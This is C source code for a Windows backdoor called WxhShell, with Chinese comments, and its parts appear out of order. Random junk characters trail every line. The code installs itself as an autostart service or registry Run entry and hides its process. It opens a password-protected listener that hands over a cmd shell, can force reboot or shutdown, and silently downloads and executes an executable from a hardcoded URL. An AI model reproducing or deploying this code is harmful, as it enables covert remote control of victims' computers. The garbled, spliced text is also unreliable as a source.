    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]&>)=b!,  
    if(Boot(SHUTDOWN)) &s5*akG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y*f<\z(4  
    else { LTHS&3% 2  
    closesocket(wsh); S;~_9i]upe  
    ExitThread(0); F(r &:3!97  
    } C&gJP7UF  
    break; Pc<ZfO #  
    } P+a&R<Dj4  
  // 获取shell RB2u1]l  
  case 's': { e{=$4F  
    CmdShell(wsh);  o~B=[  
    closesocket(wsh); dWA7U6c<  
    ExitThread(0); AXFVsZH"zi  
    break; 0OXd*  
  } wSDDejg  
  // 退出 E J1:N*BA  
  case 'x': { *KAuyJr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rxA<\h,A  
    CloseIt(wsh); P^UcpU,  
    break; 7w|s8B  
    } #<{MtK_  
  // 离开 p[Es4S}N  
  case 'q': { _"=~aMXC.)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "$_ypgRrSR  
    closesocket(wsh); 1mqFnVkf&+  
    WSACleanup(); b,wO^07-3^  
    exit(1); [B Al  
    break; $8)/4P?OL  
        } }V{, kK  
  } iVRz  
  } 'J}lnt[V  
&oBJY'1  
  // 提示信息 vs +N{ V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P+xZaf H  
} & CgLF]  
  } /e}k7U,^  
 2B#WWb  
  return; Q5ux**(Wr  
} (@ Bw@9  
9Bn dbS i  
// shell模块句柄 7">.{ @S  
int CmdShell(SOCKET sock) Rp#SqRy`  
{ =g ]C9'I3  
STARTUPINFO si; QnqX/vnR  
ZeroMemory(&si,sizeof(si)); ,=FYf|Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z6I!4K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H={,zZ11{  
PROCESS_INFORMATION ProcessInfo; r?$\`,;  
char cmdline[]="cmd"; &nq[Vy0kO4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "F^EfpcJ{9  
  return 0; S $Wd}2>  
} .s+e hZ  
KvgZx(.  
// 自身启动模式 =o {`vv  
int StartFromService(void) j>U.(K  
{ ~vgW:]i  
typedef struct *UTk. :G5  
{ xg8<b  
  DWORD ExitStatus; cWi2Sls  
  DWORD PebBaseAddress; mEA w^  
  DWORD AffinityMask; uQDu<@5^[  
  DWORD BasePriority; NJ~'`{3v  
  ULONG UniqueProcessId; 0o#lB^e;l  
  ULONG InheritedFromUniqueProcessId; 5v]xk?Eb  
}   PROCESS_BASIC_INFORMATION; 6 -oQs?  
` H"5nQRV  
PROCNTQSIP NtQueryInformationProcess; NQb?&.C   
8/=2N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _T1e##Sq,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :c\NBKHv*  
ixp%aRRP  
  HANDLE             hProcess; .]" o-(gB  
  PROCESS_BASIC_INFORMATION pbi; }.Ug`7%G  
N7[~Y2i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R75sK(oS  
  if(NULL == hInst ) return 0; P?I"y,_ p  
TnC'<zm9 !  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Tb}b*d3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SXhJz=h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,HkJ.6KF  
cD 1p5U  
  if (!NtQueryInformationProcess) return 0; V3UEuA  
4)`{ L$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f}fM%0/5  
  if(!hProcess) return 0; *2 [r?!  
g ,.iM8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u}pLO9V"`  
J9o ]$.e  
  CloseHandle(hProcess); 8.vD]hO  
D;Z\GnD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5!wa\)wY  
if(hProcess==NULL) return 0; s}5;)>3~@  
F: \CDM=lS  
HMODULE hMod; rT x]%{  
char procName[255]; H#f FU  
unsigned long cbNeeded; I!{5*~ 3  
f\ Qi()  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4kIy4x'*  
OH&&d=~  
  CloseHandle(hProcess); 1vX97n<}  
Y M5;mPR  
if(strstr(procName,"services")) return 1; // 以服务启动 J"|o g|Tz  
m~2PpO  
  return 0; // 注册表启动 T8v>J4@t  
} 1>n@`M8}  
IF<jq\M  
// 主模块 -?j'<g0  
int StartWxhshell(LPSTR lpCmdLine) tFG&~tNc  
{ >1W)J3  
  SOCKET wsl; SlmgFk!r!  
BOOL val=TRUE; Z5v\[i@H!  
  int port=0; SoCa_9*X  
  struct sockaddr_in door; ;XANIT V  
Nl0*"}`I_  
  if(wscfg.ws_autoins) Install(); }e1f kjWk  
h]I ^%7  
port=atoi(lpCmdLine); $~_TE\F1  
:X+7}!Wlo  
if(port<=0) port=wscfg.ws_port; /op8]y  
KZ&{Ya  
  WSADATA data; SDZ/rC!C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %?K'eg kp  
<5=^s%H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *!vwW T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); li(g?|AD  
  door.sin_family = AF_INET; iOw'NxmY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GP1b/n3F1  
  door.sin_port = htons(port); }DoNp[`  
L\o-zNY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yj-BLR5  
closesocket(wsl); J#MUtpPdQ  
return 1; l7\Bq+Q  
} I_\j05  
ih~ R?W  
  if(listen(wsl,2) == INVALID_SOCKET) { !?,rcgi  
closesocket(wsl); 2Lm.;l4YO  
return 1; ca5Ir<mL  
} L2+~I<|>  
  Wxhshell(wsl); }qxw Nmx  
  WSACleanup(); 6VW&An[6r  
+hGr2%*0f  
return 0; ;~F&b:CyG  
kyMWO*>|  
} \s<L2uRj  
b{_J%p  
// 以NT服务方式启动 TF2'-"2Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h<JV6h:8  
{ C`Zz\DNG@  
DWORD   status = 0; &Yb!j  
  DWORD   specificError = 0xfffffff; O(#DaFJv  
icH\(   
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'Y `or14E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DY1UP (y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D&#wn.0|E  
  serviceStatus.dwWin32ExitCode     = 0; 'b~,/lZd  
  serviceStatus.dwServiceSpecificExitCode = 0; DJR_"8  
  serviceStatus.dwCheckPoint       = 0; |U)M.\h  
  serviceStatus.dwWaitHint       = 0; f<?v.5($  
MDAJ p>o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;Lr]w8d  
  if (hServiceStatusHandle==0) return; B^nE^"b  
*d b,N'rK  
status = GetLastError(); fgdqp8~  
  if (status!=NO_ERROR) h8'`g 0  
{ bL-+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dD ?ZF6  
    serviceStatus.dwCheckPoint       = 0; NSI$uS6  
    serviceStatus.dwWaitHint       = 0; H[S[ y  
    serviceStatus.dwWin32ExitCode     = status; OlI|.~  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4SlEc|'7@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j`7q7}  
    return; Bq@_/*'*Y  
  } bi~1d"j  
}hRw{#*8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ozB2L\D7  
  serviceStatus.dwCheckPoint       = 0; 9vZ:oO  
  serviceStatus.dwWaitHint       = 0; =# 0f4z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F=EG#<@u  
} juIi-*R!  
OXp(rJ*bK  
// 处理NT服务事件,比如:启动、停止 #q?'<''d,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bf@H(gCW=  
{ B63puX{u#  
switch(fdwControl) 07b =Zhh  
{ &PZ&'N|P  
case SERVICE_CONTROL_STOP: P.aN4 9`=  
  serviceStatus.dwWin32ExitCode = 0; S\io5|P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RqB 8g  
  serviceStatus.dwCheckPoint   = 0; A{|^_1  
  serviceStatus.dwWaitHint     = 0; 17la/7l<  
  { ]-g9dV_[>j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e|> 5 R  
  } &Ql$7: r  
  return; \:y oS>G  
case SERVICE_CONTROL_PAUSE: QNWGUg4*&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5Q7Z$A1a 9  
  break; C8Ja>o2'  
case SERVICE_CONTROL_CONTINUE: rel_Z..~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h(C@IIO^;G  
  break; ]"ou?ot }  
case SERVICE_CONTROL_INTERROGATE: s k_TKN`+  
  break; y90wL U9f  
}; =hY9lxW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,i)wS1@  
} zCji]:  
18nT Iz_  
// 标准应用程序主函数 @k+ K_gR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /Ixv{H)H  
{ f*o+g:]3  
r:3h 2J[_  
// 获取操作系统版本 \:-"?  
OsIsNt=GetOsVer(); hg7^#f95u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Zz/ z7~{  
WYJH+"@%j  
  // 从命令行安装 F ~SA3M:  
  if(strpbrk(lpCmdLine,"iI")) Install(); L%;fYi;n  
45Hbg  
  // 下载执行文件 q\Q'9Rl0(  
if(wscfg.ws_downexe) { 7K5 tBUNQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `NySTd)\  
  WinExec(wscfg.ws_filenam,SW_HIDE); q?y-s  
} { k>T*/  
;&c9!LfP  
if(!OsIsNt) { xciwKIpS  
// 如果时win9x,隐藏进程并且设置为注册表启动 *47HN7  
HideProc(); ?xwLe  
StartWxhshell(lpCmdLine); o3W@)|>  
} wU(p_G3  
else .fAHP 5-  
  if(StartFromService()) :lW8f~!  
  // 以服务方式启动 Zz?)k])F  
  StartServiceCtrlDispatcher(DispatchTable);  SwE bVwB  
else [[#zB-|  
  // 普通方式启动 m`BE{%  
  StartWxhshell(lpCmdLine); |BBo  
9+#BU$*v  
return 0; :Z%-&) F  
} xL [3R   
mor[AJ  
p(>D5uN_}5  
[2{2w68D!  
=========================================== Gv&%cq1  
,n{R,]y\  
A01PEVd@A  
lk*w M?Z  
`ztp u ~?  
m<sCRWa-  
" RiG]-K:  
#+&"m7 s  
#include <stdio.h> tH=jaFJ   
#include <string.h> GC`/\~TM  
#include <windows.h> v, |jmv+:  
#include <winsock2.h> MzMVs3w|  
#include <winsvc.h> wEZieHw  
#include <urlmon.h> T]x]hQ  
Q[Gs%/>  
#pragma comment (lib, "Ws2_32.lib") MFn\[J`Ra  
#pragma comment (lib, "urlmon.lib") "[ieOFI  
M1=eS@  
#define MAX_USER   100 // 最大客户端连接数 ivg W[]  
#define BUF_SOCK   200 // sock buffer !Qq~lAJO;  
#define KEY_BUFF   255 // 输入 buffer Lb#PiTJI  
WC Y5F  
#define REBOOT     0   // 重启 T 9FGuit9  
#define SHUTDOWN   1   // 关机 2y IDyo  
<Uu[nUJ  
#define DEF_PORT   5000 // 监听端口 r:M0# 2   
iD.p KG  
#define REG_LEN     16   // 注册表键长度 cx[[K.  
#define SVC_LEN     80   // NT服务名长度 ]?T,J+S  
YpgO]\/w  
// 从dll定义API E~c>j<'-"<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WMS~Bk+!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %GP`H/H(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !?" pnKb}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [e>2HIS,  
7+Er}y>  
// wxhshell配置信息 F. I\?b  
struct WSCFG { EMPujik-  
  int ws_port;         // 监听端口 9"?;H%.  
  char ws_passstr[REG_LEN]; // 口令 ~l('ly  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~7gFddi=i  
  char ws_regname[REG_LEN]; // 注册表键名 X4L@|"ZI  
  char ws_svcname[REG_LEN]; // 服务名 \0K&2'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1:RK~_E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tr58J% Mu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m=TZfa^r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F$ckW'V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NtmmPJ|5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qOAP_\@T  
=QIu3%&  
}; *x_e] /}  
)X3 |[4R  
// default Wxhshell configuration V@+X4`T  
struct WSCFG wscfg={DEF_PORT, h1y3gl[;TD  
    "xuhuanlingzhe", e5D\m g)  
    1, Wngc(+6O&  
    "Wxhshell", _q4Yq'dI  
    "Wxhshell", Fr-Vq =j&  
            "WxhShell Service", H vHy{S4  
    "Wrsky Windows CmdShell Service", ]F"P3':  
    "Please Input Your Password: ",  He%v4S  
  1, WD5jO9Oai  
  "http://www.wrsky.com/wxhshell.exe", : )y3 &I  
  "Wxhshell.exe" b\t?5z-Z  
    }; _$/Bt?h  
Nxt`5kSx=  
// 消息定义模块 :;;k+Sw3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a^Z=xlJ/uZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %!DTq`F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .@\(ay  
char *msg_ws_ext="\n\rExit."; l3+G]C&<  
char *msg_ws_end="\n\rQuit."; 3sgo5D-rMI  
char *msg_ws_boot="\n\rReboot..."; /z(d!0_q|v  
char *msg_ws_poff="\n\rShutdown..."; Jpy~5kS  
char *msg_ws_down="\n\rSave to "; pq%inSY  
ol~ tfS  
char *msg_ws_err="\n\rErr!"; ~i.rk#{?D  
char *msg_ws_ok="\n\rOK!"; EN__C$  
G5lBCm   
char ExeFile[MAX_PATH]; ,."wxP2u  
int nUser = 0; N'PK4:  
HANDLE handles[MAX_USER]; ~Lq`a@]A  
int OsIsNt; 1d$wP$  
W)^%/lAh  
SERVICE_STATUS       serviceStatus; b~{nS,_Rn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :UX8^+bfZ  
-c{Y+M`  
// 函数声明 '$VP\Gj.  
int Install(void); {suQ"iv  
int Uninstall(void); }rnu:7  
int DownloadFile(char *sURL, SOCKET wsh); p&\DG  
int Boot(int flag); : rudo[L  
void HideProc(void); 'UTMEN&  
int GetOsVer(void); b>9?gmR{  
int Wxhshell(SOCKET wsl); i ~)V>x  
void TalkWithClient(void *cs); 4pZKm-dM^  
int CmdShell(SOCKET sock); "Xl"H/3r  
int StartFromService(void); rHqP[[4B'  
int StartWxhshell(LPSTR lpCmdLine); a@AIv"q  
RjR+'<7E^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E>:#{%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'e6J&X  
WEoD ?GLS8  
// 数据结构和表定义 i~3\dp  
SERVICE_TABLE_ENTRY DispatchTable[] = brK7|&R<  
{ b&]z^_m)  
{wscfg.ws_svcname, NTServiceMain}, GnC s_[*&r  
{NULL, NULL} *^XMf  
}; e.Jaq^Gw|  
1/syzHjbY  
// 自我安装 wa!z:}]  
int Install(void) 9Z"WV5o  
{ Ft}nG&D  
  char svExeFile[MAX_PATH]; ,zdK%V}  
  HKEY key; @:@5BCs<  
  strcpy(svExeFile,ExeFile); e.Q'l/g  
;iQw2XhT  
// 如果是win9x系统,修改注册表设为自启动 y-S23B(  
if(!OsIsNt) { \?|^w.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0g Hd{H=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @i#=1)Ze  
  RegCloseKey(key); |+Z-'k~Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ir(U7D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o=PW)37>  
  RegCloseKey(key); AG#Mj(az!  
  return 0; 1;!dTh  
    } Pa=xc>m^  
  } L>lxkq8!Q  
} [h>A<O  
else { fJ=(oF=  
R%\<al$O  
// 如果是NT以上系统,安装为系统服务 ^f 0-w`D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s=1k9   
if (schSCManager!=0) "Y"`'U=v  
{ W}|k!_/  
  SC_HANDLE schService = CreateService Hq&MePl[  
  ( :*R+ee,& -  
  schSCManager, A+}O~,mxP8  
  wscfg.ws_svcname, o#D'"Tn!  
  wscfg.ws_svcdisp, l\2"u M#7  
  SERVICE_ALL_ACCESS, F>?~4y,b7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "*TP@X?@f  
  SERVICE_AUTO_START, dz/3=0  
  SERVICE_ERROR_NORMAL, hM&VMa[  
  svExeFile, y'<5P~W!a  
  NULL, P,#l~\  
  NULL, :H]MMe  
  NULL, 2_Zn?#G8dl  
  NULL, :OqEkh"$#  
  NULL + (`.pa z@  
  ); A'D2uV  
  if (schService!=0) &o&}5Aba9  
  { .3wx}!:*|  
  CloseServiceHandle(schService); Ci[Ja#p7$h  
  CloseServiceHandle(schSCManager); )EcfEym.>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dZddo z_  
  strcat(svExeFile,wscfg.ws_svcname);  feM(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *ozXilO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }h|HT  
  RegCloseKey(key); .eCUvX`$  
  return 0; 9niffq)h  
    } tiR i_  
  } %6&c3,?U\n  
  CloseServiceHandle(schSCManager); VkId6k:>6C  
} ]6MXG%  
} %/}d'WJR  
q6o}2<T@  
return 1; m6@;!*Y  
} \ >#y*W<  
Z4{N|h?  
// 自我卸载 ^e80S^  
int Uninstall(void) j#l1KO^y  
{ fF5\\_,  
  HKEY key; "y ;0}9]n1  
K]^Jl0  
if(!OsIsNt) { XAB/S8e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7{VN27Fa_  
  RegDeleteValue(key,wscfg.ws_regname); _Om5w p=:  
  RegCloseKey(key); P` Gb }]rW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0OnqKgf  
  RegDeleteValue(key,wscfg.ws_regname); }_Y\6fcd  
  RegCloseKey(key); ' R= OeH  
  return 0; M{=p0?X  
  } _+Uf5,.5yU  
} {>Qs+]  
} COxJ,v(  
else { 6rlM\k@!  
\.F|c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;Wn0-`_1,  
if (schSCManager!=0) y+7A?"s)  
{ >QBDxm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Re1}aLd  
  if (schService!=0) ?9~|K/`l  
  { #qEUGD`  
  if(DeleteService(schService)!=0) { S@ItgG?X  
  CloseServiceHandle(schService); TUQe.oAi  
  CloseServiceHandle(schSCManager); ph3dm\U.  
  return 0; C2L=i3R  
  } JycC\s+%E  
  CloseServiceHandle(schService); DRRy5+,I  
  } V|4k=_-  
  CloseServiceHandle(schSCManager); .G/RQn]x}  
} |KSoS#Y  
} HzZX=c  
WVx^}_FD0  
return 1; & 5'cN  
} ko~e*31_E  
JNI&]3[C>?  
// 从指定url下载文件 xfqU atC  
int DownloadFile(char *sURL, SOCKET wsh) zB6&),[,v  
{ 9"dZ4{\!  
  HRESULT hr; ,!98V Jmr  
char seps[]= "/"; OV-#8RXJ  
char *token; K48 QkZ_gY  
char *file; h 3p~\%^  
char myURL[MAX_PATH]; nd h\+7  
char myFILE[MAX_PATH]; pQ`S%]k.<  
't475?bY  
strcpy(myURL,sURL); @[;$R@M_3  
  token=strtok(myURL,seps); OuB [[L  
  while(token!=NULL) 0}\8,U  
  { k[1w] l8  
    file=token; {dvsZJj  
  token=strtok(NULL,seps); n&E/{o(  
  } eM^Y  
"gXvnl  
GetCurrentDirectory(MAX_PATH,myFILE); #aadnbf  
strcat(myFILE, "\\"); *#B"%;Ln  
strcat(myFILE, file); V|;os  
  send(wsh,myFILE,strlen(myFILE),0); D ~NWP%H  
send(wsh,"...",3,0); ASr3P5/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x' 3kHw  
  if(hr==S_OK) Fz]!2rt  
return 0; M:%Ll3  
else XE;aJ'kt  
return 1; rTeADu_vf  
'uLYah  
} px^brzLQo  
oN(F$Nvk  
// 系统电源模块 e!4Kl:  
int Boot(int flag) 1tH#QZIT  
{ T{Yk/Z/}?  
  HANDLE hToken; *35o$P46  
  TOKEN_PRIVILEGES tkp; wtfM }MW\  
D!bi>]Yd  
  if(OsIsNt) { <-!' V,c  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )umW-A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?M04 cvm  
    tkp.PrivilegeCount = 1; -raZ6?Zjc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n:%A4*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d)v!U+-|'  
if(flag==REBOOT) { 4$4n9`odE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /O$)m[  
  return 0; Le,+jm  
} HjX)5@"o(  
else { 9`DY6qfly  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C] |m|`  
  return 0; +fq;o8q  
} CfHPJ: Qo[  
  } p;{w0uld"  
  else { V(n3W=#kky  
if(flag==REBOOT) { '59l.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4\2~wSr  
  return 0; .%mjE'  
} 7x`4P|Uu  
else { H=5#cPI#(^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CIf""gL9  
  return 0; 90+Hv:wF  
} |1Ko5z  
} jp-]];:aPJ  
b]\V~ZaXG  
return 1; A;Uw b  
} 0"=}d y  
(OHd} YQ  
// win9x进程隐藏模块 PX,fg5s\b  
void HideProc(void) x:IY6  l  
{ c# WIB 4  
3S1`av(tD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +4Lj}8,  
  if ( hKernel != NULL ) p:8]jD@}%  
  { kA&ul  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wGA%h.[M|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1z=}`,?>  
    FreeLibrary(hKernel); eR5+1b  
  } nB86oQ/S  
1V1T1  
return; !)'|Y5 o  
} 69/qH_Y  
.#ATI<t  
// 获取操作系统版本 .t9zF-jk  
int GetOsVer(void) n!y}p q6  
{ 9i#K{CkC|  
  OSVERSIONINFO winfo; .ZOyZnr Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6c&OR2HGqO  
  GetVersionEx(&winfo); n0kkUc-`   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g3,F+  
  return 1; >eaK@u-'0  
  else g].hL  
  return 0; =;A~$[g  
} 1oIu~f{`  
wenJ(0L|  
// 客户端句柄模块 %uhhQ<zs%  
int Wxhshell(SOCKET wsl) RlTVx :  
{ We*c_;@<  
  SOCKET wsh; Q Ph6 p3bg  
  struct sockaddr_in client; MBH/,Yd  
  DWORD myID; &b&o];a  
y2Z1B2E%f  
  while(nUser<MAX_USER) L\asrdL?=  
{ "n=Ih_J  
  int nSize=sizeof(client); q CB9z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )d-{#  
  if(wsh==INVALID_SOCKET) return 1; -2Azpeh  
gedk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %uLyL4*L(p  
if(handles[nUser]==0) 9CTvG zkw  
  closesocket(wsh); $U/_8^6B0  
else  !#8=tO  
  nUser++; },LW@Z}  
  } K1>(Fs$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Vl+,OBy  
kXbdR  
  return 0; LlG~aGhel  
} ;]^JUmxU[d  
^@..\X9  
// 关闭 socket +bK.{1  
void CloseIt(SOCKET wsh) lb('=]3 }H  
{ i<Be)Y-'  
closesocket(wsh); T"m(V/L$W  
nUser--; in6iJ*E@'  
ExitThread(0); L)ry!BuHI  
} #FV(a~  
u +OfUBrf  
// 客户端请求句柄 v{2 Vg  
void TalkWithClient(void *cs) ^~dvA)bH  
{ %U)M?UNjw  
i@ avm7  
  SOCKET wsh=(SOCKET)cs; L~FE;*>7  
  char pwd[SVC_LEN]; 8h2!8'  
  char cmd[KEY_BUFF]; I:aG(8Bi)H  
char chr[1]; 9jwo f}OU  
int i,j; H;n(qBSB  
)(pJ~"'L  
  while (nUser < MAX_USER) { h&6x.ps@  
lEC58`Ws  
if(wscfg.ws_passstr) { P&Q 5ZQb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]jzINaMav  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $0zH2W  
  //ZeroMemory(pwd,KEY_BUFF); gZs8BKO  
      i=0; (7rG~d1iS  
  while(i<SVC_LEN) { S&P5##.u`  
1`_i%R^  
  // 设置超时 c};Qr@vpo  
  fd_set FdRead; 1dK^[;v>3  
  struct timeval TimeOut; /vB%gqJvX  
  FD_ZERO(&FdRead); 7M1*SC  
  FD_SET(wsh,&FdRead); T<0Bq"'%  
  TimeOut.tv_sec=8; :q4 Mnr  
  TimeOut.tv_usec=0; ;G3{ e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i4"xvL K4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FB PT@`~v  
a|\_'#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~>)GW  
  pwd=chr[0]; \0pJ+@\T9  
  if(chr[0]==0xd || chr[0]==0xa) { WiL~b =fT  
  pwd=0; P + nT%  
  break; mYk5f_}  
  } 4>^ %_Xj[  
  i++; n.y72-&v  
    } AsM""x1Ix  
hGF(E*  
  // 如果是非法用户,关闭 socket sh?Dxodp9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N3H!ptn37  
} >}/"g x  
&w3LMOT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8X]j;Rb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z@ A5t4+3  
q6{%vd  
while(1) { )x"Z$jIs  
H2RNekck  
  ZeroMemory(cmd,KEY_BUFF); ,Fg&<Be}Jx  
0r=Lilu{q  
      // 自动支持客户端 telnet标准   y\ @;s?QL  
  j=0; ASaG }h  
  while(j<KEY_BUFF) { !U/: !e`N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ][bz5aV  
  cmd[j]=chr[0]; _ #l b\  
  if(chr[0]==0xa || chr[0]==0xd) { );;UNO21+  
  cmd[j]=0; Z-H Kdv!d  
  break; # dxlU/*  
  } g m],  
  j++; s:cS 9A8  
    } 0tB9X9:,  
sa+:c{  
  // 下载文件 rsP-?oD8)  
  if(strstr(cmd,"http://")) { 2#1FI0,Pa*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $X~=M_ W  
  if(DownloadFile(cmd,wsh)) tQJ@//C\z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +.\JYH=yEr  
  else v-[|7Pg}Z  
